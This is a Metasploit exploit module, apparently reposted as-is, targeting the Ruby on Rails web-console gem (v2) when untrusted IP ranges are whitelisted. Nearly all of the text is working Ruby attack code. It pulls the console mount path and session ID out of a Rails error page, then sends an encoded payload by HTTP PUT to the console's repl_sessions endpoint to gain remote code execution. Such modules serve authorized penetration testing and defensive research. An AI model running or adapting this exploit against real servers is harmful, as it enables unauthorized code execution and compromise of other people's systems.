Ruby on Rails Development Web Console (v2) Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ruby on Rails Development Web Console (v2) Code Execution',  
'Description' => %q{  
This module exploits a remote code execution feature of the Ruby on Rails  
framework. This feature is exposed if the config.web_console.whitelisted_ips  
setting includes untrusted IP ranges and the web-console gem is enabled.  
},  
'Author' => ['hdm'],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://github.com/rails/web-console' ]  
],  
'Platform' => 'ruby',  
'Arch' => ARCH_RUBY,  
'Privileged' => false,  
'Targets' => [ ['Automatic', {} ] ],  
'DefaultOptions' => { "PrependFork" => true },  
'DisclosureDate' => 'May 2 2016',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(3000),  
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/missing404"])  
], self.class)  
  
end  
  
#  
# Identify the web console path and session ID, then inject code with it  
#  
def exploit  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
}, 25)  
  
if ! res  
print_error("Error: No response requesting #{datastore['TARGETURI']}")  
return  
end  
  
if res.body.to_s !~ /data-mount-point='([^']+)'/  
if res.body.to_s.index("Application Trace") && res.body.to_s.index("Toggle session dump")  
print_error("Error: The web console is either disabled or you are not in the whitelisted scope")  
else  
print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}")  
end  
return  
end  
  
console_path = $1 + "/repl_sessions"  
  
if res.body.to_s !~ /data-session-id='([^']+)'/  
print_error("Error: No session id found requesting #{datastore['TARGETURI']}")  
return  
end  
  
session_id = $1  
  
print_status("Sending payload to #{console_path}/#{session_id}")  
res = send_request_cgi({  
'uri' => console_path + "/" + session_id,  
'method' => 'PUT',  
'headers' => {  
'Accept' => 'application/vnd.web-console.v2',  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
'input' => payload.encoded  
}  
  
}, 25)  
  
handler  
end  
end  
`